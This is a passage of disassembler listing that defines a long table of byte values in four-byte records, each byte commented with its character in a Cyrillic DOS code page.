		db  88h	; ┬
		db  99h	; ≥
		db    2	;  
		db    5	;  
		db  88h	; ┬
		db  9Ah	;  
		db    6	;  
		db 0ECh	; Л
		db  88h	; ┬
		db  9Fh	; ÷
		db    1	;  
		db  15h	;  
		db  88h	; ┬
		db  9Fh	; ÷
		db    2	;  
		db    1	;  
		db  88h	; ┬
		db  9Fh	; ÷
		db  22h	; "
		db 0C9h	; и
		db  88h	; ┬
		db 0A3h	; ё
		db 0D4h	; т
		db    3	;  
		db  88h	; ┬
		db 0A4h	; є
		db 0D8h	; ь
		db  0Bh	;  
		db  88h	; ┬
		db 0A4h	; є
		db  21h	; !
		db  0Fh	;  
		db  88h	; ┬
		db 0A5h	; ╔
		db 0FDh	; Щ
		db  0Ah	;  
		db  88h	; ┬
		db 0A5h	; ╔
		db 0FDh	; Щ
		db  59h	; Y
		db  88h	; ┬
		db 0A7h	; ї
		db    2	;  
		db 0B0h	; ╟
		db  88h	; ┬
		db 0A7h	; ї
		db    2	;  
		db    9	;  
		db  88h	; ┬
		db 0AAh	; ╙
		db  32h	; 2
		db    8	;  
		db  88h	; ┬
		db 0AAh	; ╙
		db  32h	; 2
		db    9	;  
		db  88h	; ┬
		db 0ACh	; ╛
		db  64h	; d
		db 0F0h	; П
		db  88h	; ┬
		db 0AEh	; ў
		db 0BBh	; ╩
		db  0Ah	;  
		db  88h	; ┬
		db 0B0h	; ╟
		db  28h	; (
		db    4	;  
		db  88h	; ┬
		db 0B0h	; ╟
		db    5	;  
		db    7	;  
		db  88h	; ┬
		db 0B1h	; ╠
		db  10h	;  
		db    3	;  
		db  88h	; ┬
		db 0B3h	; Ё
		db 0A0h	; ═
		db  10h	;  
		db  88h	; ┬
		db 0B6h	; І
		db    1	;  
		db  22h	; "
		db  88h	; ┬
		db 0BAh	; ╨
		db    1	;  
		db  6Fh	; o
		db  88h	; ┬
		db 0BAh	; ╨
		db    1	;  
		db  73h	; s
		db  88h	; ┬
		db 0BAh	; ╨
		db  14h	;  
		db    9	;  
		db  88h	; ┬
		db 0C7h	; г
		db    8	;  
		db  65h	; e
		db  88h	; ┬
		db    2	;  
		db    1	;  
		db  14h	;  
		db  88h	; ┬
		db 0C8h	; х
		db  96h	; √
		db    6	;  
		db  88h	; ┬
		db 0C8h	; х
		db  40h	; @
		db    6	;  
		db  88h	; ┬
		db 0C8h	; х
		db  54h	; T
		db    6	;  
		db  88h	; ┬
		db 0C9h	; и
		db    1	;  
		db  17h	;  
		db  88h	; ┬
		db 0C9h	; и
		db    1	;  
		db    3	;  
		db  88h	; ┬
		db 0C9h	; и
		db  69h	; i
		db    1	;  
		db  88h	; ┬
		db 0C9h	; и
		db  69h	; i
		db    3	;  
		db  88h	; ┬
		db 0C9h	; и
		db  6Ah	; j
		db    1	;  
		db  88h	; ┬
		db 0C9h	; и
		db  18h	;  
		db    3	;  
		db  88h	; ┬
		db 0CEh	; н
		db    1	;  
		db    3	;  
		db  88h	; ┬
		db 0E0h	; Ю
		db    1	;  
		db    1	;  
		db  88h	; ┬
		db 0E0h	; Ю
		db  20h	;  
		db  16h	;  
		db  88h	; ┬
		db 0EBh	; К
		db  0Eh	;  
		db    3	;  
		db  88h	; ┬
		db 0EDh	; М
		db  3Ch	; <
		db  6Eh	; n
		db  88h	; ┬
		db 0F2h	; Р
		db  0Ah	;  
		db    2	;  
		db  88h	; ┬
		db 0F4h	; Т
		db    1	;  
		db  12h	;  
		db  88h	; ┬
		db 0F4h	; Т
		db    1	;  
		db    6	;  
		db  88h	; ┬
		db 0F7h	; В
		db  0Ah	;  
		db  0Ch	;  
		db  89h	; ┴
		db    1	;  
		db 0D4h	; т
		db  0Ah	;  
		db  89h	; ┴
		db  64h	; d
		db 0FDh	; Щ
		db    1	;  
		db  89h	; ┴
		db  67h	; g
		db    1	;  
		db    4	;  
		db  89h	; ┴
		db  68h	; h
		db  80h	; ─
		db    1	;  
		db  89h	; ┴
		db  6Ch	; l
		db  80h	; ─
		db  96h	; √
		db  89h	; ┴
		db  6Ch	; l
		db  8Fh	; ▐
		db    2	;  
		db  89h	; ┴
		db  6Ch	; l
		db  8Fh	; ▐
		db    3	;  
		db  89h	; ┴
		db  6Fh	; o
		db    1	;  
		db  0Bh	;  
		db  89h	; ┴
		db  6Fh	; o
		db    1	;  
		db  0Ch	;  
		db  89h	; ┴
		db  70h	; p
		db    4	;  
		db 0C4h	; д
		db  89h	; ┴
		db  71h	; q
		db 0C0h	; ю
		db  65h	; e
		db  89h	; ┴
		db  76h	; v
		db    1	;  
		db  1Ch	;  
		db  89h	; ┴
		db  76h	; v
		db    1	;  
		db  1Dh	;  
		db  89h	; ┴
		db  76h	; v
		db    1	;  
		db  1Eh	;  
		db  89h	; ┴
		db  76h	; v
		db    1	;  
		db  1Fh	;  
		db  89h	; ┴
		db  78h	; x
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  78h	; x
		db    1	;  
		db    5	;  
		db  89h	; ┴
		db  79h	; y
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db    1	;  
		db    2	;  
		db  89h	; ┴
		db  79h	; y
		db  78h	; x
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db  0Dh	;  
		db    2	;  
		db  89h	; ┴
		db  79h	; y
		db  9Dh	; ²
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db  9Eh	; ·
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db  9Fh	; ÷
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db 0A2h	; ╒
		db    1	;  
		db  89h	; ┴
		db  79h	; y
		db  16h	;  
		db    5	;  
		db  89h	; ┴
		db  79h	; y
		db  3Dh	; =
		db  1Eh	;  
		db  89h	; ┴
		db  79h	; y
		db  51h	; Q
		db    1	;  
		db  89h	; ┴
		db  7Ah	; z
		db    6	;  
		db  0Ah	;  
		db  89h	; ┴
		db  81h	; │
		db    1	;  
		db    4	;  
		db  89h	; ┴
		db  81h	; │
		db  96h	; √
		db    3	;  
		db  89h	; ┴
		db  83h	; ┐
		db 0C8h	; х
		db  0Ah	;  
		db  89h	; ┴
		db  83h	; ┐
		db 0C8h	; х
		db    9	;  
		db  89h	; ┴
		db  84h	; └
		db  7Bh	; {
		db    4	;  
		db  89h	; ┴
		db  84h	; └
		db    5	;  
		db    2	;  
		db  89h	; ┴
		db  86h	; ├
		db  2Fh	; /
		db    2	;  
		db  89h	; ┴
		db  8Bh	; ▀
		db  0Bh	;  
		db 0FEh	; Ч
		db  89h	; ┴
		db  8Ch	; ▄
		db    1	;  
		db  64h	; d
		db  89h	; ┴
		db  8Ch	; ▄
		db    1	;  
		db  66h	; f
		db  89h	; ┴
		db  8Ch	; ▄
		db    1	;  
		db  6Ah	; j
		db  89h	; ┴
		db  8Dh	; █
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  8Dh	; █
		db    1	;  
		db    2	;  
		db  89h	; ┴
		db  8Dh	; █
		db    1	;  
		db    3	;  
		db  89h	; ┴
		db  8Eh	; ▌
		db    0	;  
		db    1	;  
		db  89h	; ┴
		db  8Eh	; ▌
		db  12h	;  
		db  63h	; c
		db  89h	; ┴
		db  91h	; ▒
		db 0CCh	; л
		db  0Ah	;  
		db  89h	; ┴
		db  92h	; ▓
		db 0D2h	; р
		db  2Eh	; .
		db  89h	; ┴
		db  94h	; ■
		db  31h	; 1
		db  0Bh	;  
		db  89h	; ┴
		db  94h	; ■
		db    5	;  
		db  19h	;  
		db  89h	; ┴
		db  95h	; ∙
		db    3	;  
		db    1	;  
		db  89h	; ┴
		db  0Fh	;  
		db 0F5h	; У
		db    4	;  
		db  89h	; ┴
		db  96h	; √
		db  40h	; @
		db    1	;  
		db  89h	; ┴
		db  97h	; ≈
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  97h	; ≈
		db    1	;  
		db    2	;  
		db  89h	; ┴
		db  9Ah	;  
		db  10h	;  
		db  14h	;  
		db  89h	; ┴
		db  9Bh	; ⌡
		db  0Ch	;  
		db 0D2h	; р
		db  89h	; ┴
		db  9Bh	; ⌡
		db  0Ch	;  
		db 0D8h	; ь
		db  89h	; ┴
		db  9Dh	; ²
		db  0Dh	;  
		db 0DBh	; ш
		db  89h	; ┴
		db  9Dh	; ²
		db  2Dh	; -
		db 0CDh	; м
		db  89h	; ┴
		db  9Dh	; ²
		db  3Ah	; :
		db 0D1h	; я
		db  89h	; ┴
		db  9Eh	; ·
		db  80h	; ─
		db    1	;  
		db  89h	; ┴
		db  9Fh	; ÷
		db    8	;  
		db    1	;  
		db  89h	; ┴
		db  10h	;  
		db  0Fh	;  
		db  65h	; e
		db  89h	; ┴
		db  10h	;  
		db  0Fh	;  
		db  68h	; h
		db  89h	; ┴
		db 0A5h	; ╔
		db    4	;  
		db    2	;  
		db  89h	; ┴
		db 0A5h	; ╔
		db    8	;  
		db    2	;  
		db  89h	; ┴
		db 0A6h	; і
		db  10h	;  
		db    1	;  
		db  89h	; ┴
		db 0A9h	; ╘
		db  12h	;  
		db  55h	; U
		db  89h	; ┴
		db 0A9h	; ╘
		db  13h	;  
		db 0FEh	; Ч
		db  89h	; ┴
		db  11h	;  
		db  50h	; P
		db 0C8h	; х
		db  89h	; ┴
		db 0ACh	; ╛
		db 0D3h	; с
		db    9	;  
		db  89h	; ┴
		db 0ACh	; ╛
		db 0F8h	; Ь
		db  68h	; h
		db  89h	; ┴
		db 0AEh	; ў
		db  90h	; ░
		db    2	;  
		db  89h	; ┴
		db 0BAh	; ╨
		db  80h	; ─
		db  0Bh	;  
		db  89h	; ┴
		db 0BDh	; Ґ
		db    6	;  
		db    1	;  
		db  89h	; ┴
		db 0BDh	; Ґ
		db    6	;  
		db  15h	;  
		db  89h	; ┴
		db 0BEh	; Ў
		db    1	;  
		db    2	;  
		db  89h	; ┴
		db 0C0h	; ю
		db    2	;  
		db    4	;  
		db  89h	; ┴
		db 0C0h	; ю
		db 0F0h	; П
		db    3	;  
		db  89h	; ┴
		db 0C0h	; ю
		db 0F0h	; П
		db    5	;  
		db  89h	; ┴
		db 0C1h	; а
		db  0Ah	;  
		db  15h	;  
		db  89h	; ┴
		db 0C1h	; а
		db  0Bh	;  
		db    8	;  
		db  89h	; ┴
		db 0C2h	; б
		db 0A0h	; ═
		db    1	;  
		db  89h	; ┴
		db 0C2h	; б
		db 0A0h	; ═
		db    3	;  
		db  89h	; ┴
		db 0C2h	; б
		db  20h	;  
		db  54h	; T
		db  89h	; ┴
		db 0C3h	; ц
		db  97h	; ≈
		db  69h	; i
		db  89h	; ┴
		db 0C9h	; и
		db 0F0h	; П
		db  12h	;  
		db  89h	; ┴
		db 0C9h	; и
		db 0F0h	; П
		db  13h	;  
		db  89h	; ┴
		db 0CBh	; к
		db    5	;  
		db    1	;  
		db  89h	; ┴
		db 0CCh	; л
		db    1	;  
		db  0Fh	;  
		db  89h	; ┴
		db 0CDh	; м
		db 0C0h	; ю
		db  0Bh	;  
		db  89h	; ┴
		db 0CDh	; м
		db 0C0h	; ю
		db    6	;  
		db  89h	; ┴
		db 0D0h	; п
		db    3	;  
		db  2Ah	; *
		db  89h	; ┴
		db  15h	;  
		db    1	;  
		db  0Fh	;  
		db  89h	; ┴
		db 0D5h	; у
		db 0C3h	; ц
		db 0D6h	; ж
		db  89h	; ┴
		db 0D5h	; у
		db 0FCh	; Э
		db 0FCh	; Э
		db  89h	; ┴
		db 0D5h	; у
		db  28h	; (
		db 0D6h	; ж
		db  89h	; ┴
		db 0D6h	; ж
		db  50h	; P
		db    1	;  
		db  89h	; ┴
		db 0D7h	; в
		db  65h	; e
		db  10h	;  
		db  89h	; ┴
		db 0D8h	; ь
		db  50h	; P
		db  15h	;  
		db  89h	; ┴
		db 0D9h	; ы
		db 0B0h	; ╟
		db  64h	; d
		db  89h	; ┴
		db 0DBh	; ш
		db  74h	; t
		db  0Dh	;  
		db  89h	; ┴
		db 0DBh	; ш
		db  10h	;  
		db  0Eh	;  
		db  89h	; ┴
		db  16h	;  
		db    1	;  
		db  0Dh	;  
		db  89h	; ┴
		db 0DCh	; э
		db    1	;  
		db    6	;  
		db  89h	; ┴
		db 0DEh	; ч
		db  0Ah	;  
		db  24h	; $
		db  89h	; ┴
		db 0DEh	; ч
		db  0Ah	;  
		db  27h	; '
		db  89h	; ┴
		db 0E0h	; Ю
		db  0Ah	;  
		db  65h	; e
		db  89h	; ┴
		db 0E0h	; Ю
		db  81h	; │
		db    4	;  
		db  89h	; ┴
		db 0E1h	; А
		db 0FAh	; З
		db    3	;  
		db  89h	; ┴
		db 0E2h	; Б
		db  70h	; p
		db  15h	;  
		db  89h	; ┴
		db 0E2h	; Б
		db  90h	; ░
		db    3	;  
		db  89h	; ┴
		db 0E4h	; Д
		db  5Ah	; Z
		db  0Ah	;  
		db  89h	; ┴
		db 0E4h	; Д
		db  5Ah	; Z
		db  0Bh	;  
		db  89h	; ┴
		db 0E5h	; Е
		db  0Ah	;  
		db  27h	; '
		db  89h	; ┴
		db 0E5h	; Е
		db  0Ch	;  
		db  29h	; )
		db  89h	; ┴
		db 0ECh	; Л
		db    4	;  
		db  0Bh	;  
		db  89h	; ┴
		db 0ECh	; Л
		db    4	;  
		db    7	;  
		db  89h	; ┴
		db 0EEh	; Н
		db    1	;  
		db    3	;  
		db  89h	; ┴
		db  18h	;  
		db  80h	; ─
		db  62h	; b
		db  89h	; ┴
		db 0F0h	; П
		db 0F0h	; П
		db 0FDh	; Щ
		db  89h	; ┴
		db 0F0h	; П
		db 0F9h	; Ы
		db    2	;  
		db  89h	; ┴
		db 0F1h	; Я
		db 0FAh	; З
		db  0Bh	;  
		db  89h	; ┴
		db 0F1h	; Я
		db 0FAh	; З
		db  15h	;  
		db  89h	; ┴
		db 0F2h	; Р
		db    1	;  
		db 0C7h	; г
		db  89h	; ┴
		db 0F4h	; Т
		db 0D7h	; в
		db    2	;  
		db  89h	; ┴
		db 0F4h	; Т
		db 0D7h	; в
		db 0C8h	; х
		db  89h	; ┴
		db 0F4h	; Т
		db 0D7h	; в
		db    3	;  
		db  89h	; ┴
		db 0F8h	; Ь
		db    1	;  
		db    5	;  
		db  89h	; ┴
		db 0F8h	; Ь
		db    1	;  
		db    8	;  
		db  89h	; ┴
		db 0F8h	; Ь
		db  15h	;  
		db  16h	;  
		db  89h	; ┴
		db 0FAh	; З
		db    1	;  
		db 0FEh	; Ч
		db  89h	; ┴
		db 0FAh	; З
		db  6Fh	; o
		db    4	;  
		db  89h	; ┴
		db 0FBh	; Ш
		db  24h	; $
		db    2	;  
		db  89h	; ┴
		db 0FBh	; Ш
		db  24h	; $
		db    3	;  
		db  89h	; ┴
		db 0FCh	; Э
		db    9	;  
		db  0Bh	;  
		db  89h	; ┴
		db  1Ch	;  
		db    1	;  
		db  11h	;  
		db  89h	; ┴
		db  1Ch	;  
		db    1	;  
		db  12h	;  
		db  89h	; ┴
		db    3	;  
		db  7Ah	; z
		db  23h	; #
		db  89h	; ┴
		db  1Eh	;  
		db    1	;  
		db 0FEh	; Ч
		db  89h	; ┴
		db  1Eh	;  
		db    1	;  
		db    6	;  
		db  89h	; ┴
		db  21h	; !
		db 0FEh	; Ч
		db  11h	;  
		db  89h	; ┴
		db  27h	; '
		db    1	;  
		db    3	;  
		db  89h	; ┴
		db    4	;  
		db 0BAh	; ╨
		db    1	;  
		db  89h	; ┴
		db    4	;  
		db 0BAh	; ╨
		db  12h	;  
		db  89h	; ┴
		db    4	;  
		db 0BAh	; ╨
		db  13h	;  
		db  89h	; ┴
		db  2Bh	; +
		db    1	;  
		db  0Dh	;  
		db  89h	; ┴
		db  2Ch	; ,
		db    1	;  
		db  14h	;  
		db  89h	; ┴
		db  2Ch	; ,
		db    1	;  
		db  1Bh	;  
		db  89h	; ┴
		db  2Ch	; ,
		db    1	;  
		db  2Eh	; .
		db  89h	; ┴
		db  2Dh	; -
		db  80h	; ─
		db  84h	; └
		db  89h	; ┴
		db  2Dh	; -
		db  20h	;  
		db  64h	; d
		db  89h	; ┴
		db  30h	; 0
		db    1	;  
		db  64h	; d
		db  89h	; ┴
		db  30h	; 0
		db  64h	; d
		db    1	;  
		db  89h	; ┴
		db    5	;  
		db  0Ah	;  
		db  87h	; ┤
		db  89h	; ┴
		db    5	;  
		db  0Ah	;  
		db 0F7h	; В
		db  89h	; ┴
		db  32h	; 2
		db    4	;  
		db    4	;  
		db  89h	; ┴
		db  34h	; 4
		db 0E0h	; Ю
		db  0Bh	;  
		db  89h	; ┴
		db  34h	; 4
		db 0E8h	; Х
		db  0Bh	;  
		db  89h	; ┴
		db  35h	; 5
		db    1	;  
		db  28h	; (
		db  89h	; ┴
		db  35h	; 5
		db 0CBh	; к
		db    5	;  
		db  89h	; ┴
		db  38h	; 8
		db    0	;  
		db  1Bh	;  
		db  89h	; ┴
		db  38h	; 8
		db    0	;  
		db  28h	; (
		db  89h	; ┴
		db  3Dh	; =
		db 0EDh	; М
		db    5	;  
		db  89h	; ┴
		db  41h	; A
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  42h	; B
		db  10h	;  
		db    1	;  
		db  89h	; ┴
		db  45h	; E
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  45h	; E
		db  65h	; e
		db    1	;  
		db  89h	; ┴
		db  45h	; E
		db  2Dh	; -
		db  0Ch	;  
		db  89h	; ┴
		db  45h	; E
		db  35h	; 5
		db    1	;  
		db  89h	; ┴
		db  49h	; I
		db    2	;  
		db    5	;  
		db  89h	; ┴
		db  4Bh	; K
		db    1	;  
		db 0B5h	; ╣
		db  89h	; ┴
		db  4Bh	; K
		db    1	;  
		db 0B6h	; І
		db  89h	; ┴
		db  4Ch	; L
		db    6	;  
		db  0Ah	;  
		db  89h	; ┴
		db  51h	; Q
		db    1	;  
		db    7	;  
		db  89h	; ┴
		db  52h	; R
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  52h	; R
		db  1Ch	;  
		db    3	;  
		db  89h	; ┴
		db    9	;  
		db  79h	; y
		db  13h	;  
		db  89h	; ┴
		db    9	;  
		db  79h	; y
		db    2	;  
		db  89h	; ┴
		db  5Bh	; [
		db  72h	; r
		db    1	;  
		db  89h	; ┴
		db  5Ch	; \
		db    1	;  
		db    1	;  
		db  89h	; ┴
		db  5Eh	; ^
		db    5	;  
		db  8Fh	; ▐
		db  89h	; ┴
		db  5Fh	; _
		db 0BFh	; ©
		db  6Fh	; o
		db  89h	; ┴
		db  5Fh	; _
		db 0BFh	; ©
		db  70h	; p
		db  89h	; ┴
		db  63h	; c
		db  0Fh	;  
		db  40h	; @
		db  89h	; ┴
		db  63h	; c
		db  19h	;  
		db  0Eh	;  
		db  8Ah	; ┼
		db  64h	; d
		db    4	;  
		db    4	;  
		db  8Ah	; ┼
		db  64h	; d
		db    4	;  
		db    8	;  
		db  8Ah	; ┼
		db  65h	; e
		db  80h	; ─
		db 0D5h	; у
		db  8Ah	; ┼
		db  65h	; e
		db  80h	; ─
		db 0DFh	; ъ
		db  8Ah	; ┼
		db  65h	; e
		db 0BEh	; Ў
		db  5Bh	; [
		db  8Ah	; ┼
		db  65h	; e
		db 0C2h	; б
		db    3	;  
		db  8Ah	; ┼
		db  65h	; e
		db 0C6h	; ф
		db  11h	;  
		db  8Ah	; ┼
		db  65h	; e
		db 0C7h	; г
		db  0Ch	;  
		db  8Ah	; ┼
		db  65h	; e
		db 0CEh	; н
		db  33h	; 3
		db  8Ah	; ┼
		db  65h	; e
		db 0D8h	; ь
		db  11h	;  
		db  8Ah	; ┼
		db  68h	; h
		db 0B0h	; ╟
		db    1	;  
		db  8Ah	; ┼
		db  6Ah	; j
		db  64h	; d
		db  64h	; d
		db  8Ah	; ┼
		db  6Bh	; k
		db  0Ah	;  
		db  64h	; d
		db  8Ah	; ┼
		db  6Eh	; n
		db    1	;  
		db    1	;  
		db  8Ah	; ┼
		db  6Eh	; n
		db    1	;  
		db 0C8h	; х
		db  8Ah	; ┼
		db  70h	; p
		db    0	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  71h	; q
		db    4	;  
		db    3	;  
		db  8Ah	; ┼
		db  74h	; t
		db    5	;  
		db    2	;  
		db  8Ah	; ┼
		db  7Bh	; {
		db  0Ch	;  
		db  65h	; e
		db  8Ah	; ┼
		db  7Bh	; {
		db  44h	; D
		db 0F1h	; Я
		db  8Ah	; ┼
		db  7Bh	; {
		db  54h	; T
		db 0F0h	; П
		db  8Ah	; ┼
		db  81h	; │
		db 0FEh	; Ч
		db    6	;  
		db  8Ah	; ┼
		db  81h	; │
		db 0FEh	; Ч
		db    8	;  
		db  8Ah	; ┼
		db  0Dh	;  
		db 0D4h	; т
		db  3Fh	; ?
		db  8Ah	; ┼
		db  0Dh	;  
		db 0D4h	; т
		db  40h	; @
		db  8Ah	; ┼
		db  83h	; ┐
		db  91h	; ▒
		db  19h	;  
		db  8Ah	; ┼
		db  83h	; ┐
		db  91h	; ▒
		db  1Ah	;  
		db  8Ah	; ┼
		db  84h	; └
		db  35h	; 5
		db    3	;  
		db  8Ah	; ┼
		db  85h	; ┘
		db  11h	;  
		db    5	;  
		db  8Ah	; ┼
		db  85h	; ┘
		db  11h	;  
		db    7	;  
		db  8Ah	; ┼
		db  86h	; ├
		db  65h	; e
		db 0BAh	; ╨
		db  8Ah	; ┼
		db  86h	; ├
		db    2	;  
		db  42h	; B
		db  8Ah	; ┼
		db  86h	; ├
		db 0C8h	; х
		db  1Eh	;  
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  19h	;  
		db  6Eh	; n
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  19h	;  
		db  6Fh	; o
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  23h	; #
		db  6Eh	; n
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  23h	; #
		db  6Fh	; o
		db  8Ah	; ┼
		db  8Bh	; ▀
		db    4	;  
		db    5	;  
		db  8Ah	; ┼
		db  0Eh	;  
		db 0EAh	; Й
		db    1	;  
		db  8Ah	; ┼
		db  8Dh	; █
		db  68h	; h
		db  3Ch	; <
		db  8Ah	; ┼
		db  8Dh	; █
		db  68h	; h
		db  3Dh	; =
		db  8Ah	; ┼
		db  90h	; ░
		db 0F8h	; Ь
		db    3	;  
		db  8Ah	; ┼
		db  91h	; ▒
		db    2	;  
		db    3	;  
		db  8Ah	; ┼
		db  91h	; ▒
		db    3	;  
		db    3	;  
		db  8Ah	; ┼
		db  93h	; ⌠
		db  0Ah	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  0Fh	;  
		db 0C8h	; х
		db    1	;  
		db  8Ah	; ┼
		db 0A4h	; є
		db  80h	; ─
		db  0Ah	;  
		db  8Ah	; ┼
		db 0A4h	; є
		db  80h	; ─
		db  0Fh	;  
		db  8Ah	; ┼
		db 0A9h	; ╘
		db    2	;  
		db  0Eh	;  
		db  8Ah	; ┼
		db 0B2h	; ╡
		db    8	;  
		db  1Ah	;  
		db  8Ah	; ┼
		db 0B4h	; Є
		db 0BEh	; Ў
		db  42h	; B
		db  8Ah	; ┼
		db 0B4h	; Є
		db 0BEh	; Ў
		db  43h	; C
		db  8Ah	; ┼
		db 0B5h	; ╣
		db  15h	;  
		db    4	;  
		db  8Ah	; ┼
		db 0B5h	; ╣
		db  15h	;  
		db    5	;  
		db  8Ah	; ┼
		db 0B7h	; Ї
		db  5Fh	; _
		db  22h	; "
		db  8Ah	; ┼
		db 0B8h	; ╦
		db  7Fh	; 
		db  22h	; "
		db  8Ah	; ┼
		db 0BDh	; Ґ
		db  78h	; x
		db  47h	; G
		db  8Ah	; ┼
		db 0BDh	; Ґ
		db  78h	; x
		db  48h	; H
		db  8Ah	; ┼
		db 0BEh	; Ў
		db    1	;  
		db  0Ch	;  
		db  8Ah	; ┼
		db 0BEh	; Ў
		db    1	;  
		db 0CAh	; й
		db  8Ah	; ┼
		db 0C0h	; ю
		db  14h	;  
		db  0Ch	;  
		db  8Ah	; ┼
		db 0C2h	; б
		db  0Ah	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db 0C2h	; б
		db    2	;  
		db    8	;  
		db  8Ah	; ┼
		db 0C2h	; б
		db  1Eh	;  
		db    2	;  
		db  8Ah	; ┼
		db 0C3h	; ц
		db  21h	; !
		db    3	;  
		db  8Ah	; ┼
		db 0C6h	; ф
		db  64h	; d
		db  25h	; %
		db  8Ah	; ┼
		db 0C7h	; г
		db  10h	;  
		db    1	;  
		db  8Ah	; ┼
		db 0CAh	; й
		db 0C0h	; ю
		db  0Ah	;  
		db  8Ah	; ┼
		db 0D2h	; р
		db  51h	; Q
		db    3	;  
		db  8Ah	; ┼
		db  16h	;  
		db  81h	; │
		db  1Bh	;  
		db  8Ah	; ┼
		db 0DDh	; щ
		db 0C8h	; х
		db 0C8h	; х
		db  8Ah	; ┼
		db 0DDh	; щ
		db 0C8h	; х
		db  61h	; a
		db  8Ah	; ┼
		db 0DDh	; щ
		db 0C8h	; х
		db  63h	; c
		db  8Ah	; ┼
		db 0DDh	; щ
		db  32h	; 2
		db  0Ch	;  
		db  8Ah	; ┼
		db 0DEh	; ч
		db  98h	; ≤
		db  7Bh	; {
		db  8Ah	; ┼
		db  17h	;  
		db  92h	; ▓
		db 0D5h	; у
		db  8Ah	; ┼
		db  17h	;  
		db 0E2h	; Б
		db  64h	; d
		db  8Ah	; ┼
		db 0E6h	; Ф
		db  1Dh	;  
		db  89h	; ┴
		db  8Ah	; ┼
		db 0E7h	; Г
		db  6Eh	; n
		db    2	;  
		db  8Ah	; ┼
		db 0E7h	; Г
		db 0B0h	; ╟
		db    4	;  
		db  8Ah	; ┼
		db 0E8h	; Х
		db    1	;  
		db    4	;  
		db  8Ah	; ┼
		db 0E8h	; Х
		db    1	;  
		db    5	;  
		db  8Ah	; ┼
		db 0EAh	; Й
		db    4	;  
		db  32h	; 2
		db  8Ah	; ┼
		db 0ECh	; Л
		db  80h	; ─
		db  12h	;  
		db  8Ah	; ┼
		db 0EDh	; М
		db  80h	; ─
		db    3	;  
		db  8Ah	; ┼
		db 0EDh	; М
		db  80h	; ─
		db    7	;  
		db  8Ah	; ┼
		db 0EEh	; Н
		db  9Ch	; °
		db  16h	;  
		db  8Ah	; ┼
		db 0EFh	; О
		db  70h	; p
		db    1	;  
		db  8Ah	; ┼
		db 0EFh	; О
		db  70h	; p
		db    7	;  
		db  8Ah	; ┼
		db  18h	;  
		db    1	;  
		db    2	;  
		db  8Ah	; ┼
		db  18h	;  
		db    1	;  
		db  22h	; "
		db  8Ah	; ┼
		db 0F5h	; У
		db  10h	;  
		db  64h	; d
		db  8Ah	; ┼
		db 0F7h	; В
		db  20h	;  
		db  0Ch	;  
		db  8Ah	; ┼
		db  19h	;  
		db  10h	;  
		db    1	;  
		db  8Ah	; ┼
		db  19h	;  
		db  10h	;  
		db    8	;  
		db  8Ah	; ┼
		db 0FAh	; З
		db    1	;  
		db  43h	; C
		db  8Ah	; ┼
		db 0FAh	; З
		db    1	;  
		db  4Bh	; K
		db  8Ah	; ┼
		db 0FBh	; Ш
		db  42h	; B
		db    4	;  
		db  8Ah	; ┼
		db 0FDh	; Щ
		db  1Fh	;  
		db    2	;  
		db  8Ah	; ┼
		db 0FDh	; Щ
		db  1Fh	;  
		db    3	;  
		db  8Ah	; ┼
		db  1Ah	;  
		db    1	;  
		db    2	;  
		db  8Ah	; ┼
		db  1Ch	;  
		db    1	;  
		db    2	;  
		db  8Ah	; ┼
		db  1Dh	;  
		db    1	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  25h	; %
		db    6	;  
		db    1	;  
		db  8Ah	; ┼
		db  25h	; %
		db    7	;  
		db    1	;  
		db  8Ah	; ┼
		db  26h	; &
		db  20h	;  
		db    3	;  
		db  8Ah	; ┼
		db  27h	; '
		db    7	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  27h	; '
		db    7	;  
		db    3	;  
		db  8Ah	; ┼
		db  28h	; (
		db  0Bh	;  
		db    1	;  
		db  8Ah	; ┼
		db  28h	; (
		db  5Ch	; \
		db    2	;  
		db  8Ah	; ┼
		db  2Ch	; ,
		db  48h	; H
		db    1	;  
		db  8Ah	; ┼
		db  2Fh	; /
		db  12h	;  
		db    3	;  
		db  8Ah	; ┼
		db  30h	; 0
		db    4	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  30h	; 0
		db    4	;  
		db    4	;  
		db  8Ah	; ┼
		db  31h	; 1
		db  80h	; ─
		db 0EAh	; Й
		db  8Ah	; ┼
		db    6	;  
		db 0A0h	; ═
		db    2	;  
		db  8Ah	; ┼
		db  3Fh	; ?
		db 0C8h	; х
		db  0Fh	;  
		db  8Ah	; ┼
		db  3Fh	; ?
		db 0C8h	; х
		db  37h	; 7
		db  8Ah	; ┼
		db  40h	; @
		db  14h	;  
		db    1	;  
		db  8Ah	; ┼
		db  40h	; @
		db    4	;  
		db    2	;  
		db  8Ah	; ┼
		db  42h	; B
		db    1	;  
		db    5	;  
		db  8Ah	; ┼
		db  42h	; B
		db 0C8h	; х
		db    5	;  
		db  8Ah	; ┼
		db  43h	; C
		db    1	;  
		db    2	;  
		db  8Ah	; ┼
		db  43h	; C
		db    1	;  
		db    3	;  
		db  8Ah	; ┼
		db  46h	; F
		db  0Ah	;  
		db  1Bh	;  
		db  8Ah	; ┼
		db  48h	; H
		db  0Ah	;  
		db  14h	;  
		db  8Ah	; ┼
		db  48h	; H
		db  1Eh	;  
		db  1Ch	;  
		db  8Ah	; ┼
		db  49h	; I
		db    1	;  
		db 0FDh	; Щ
		db  8Ah	; ┼
		db  4Ah	; J
		db    0	;  
		db  0Ch	;  
		db  8Ah	; ┼
		db  4Ah	; J
		db    0	;  
		db  0Dh	;  
		db  8Ah	; ┼
		db  4Bh	; K
		db  0Ah	;  
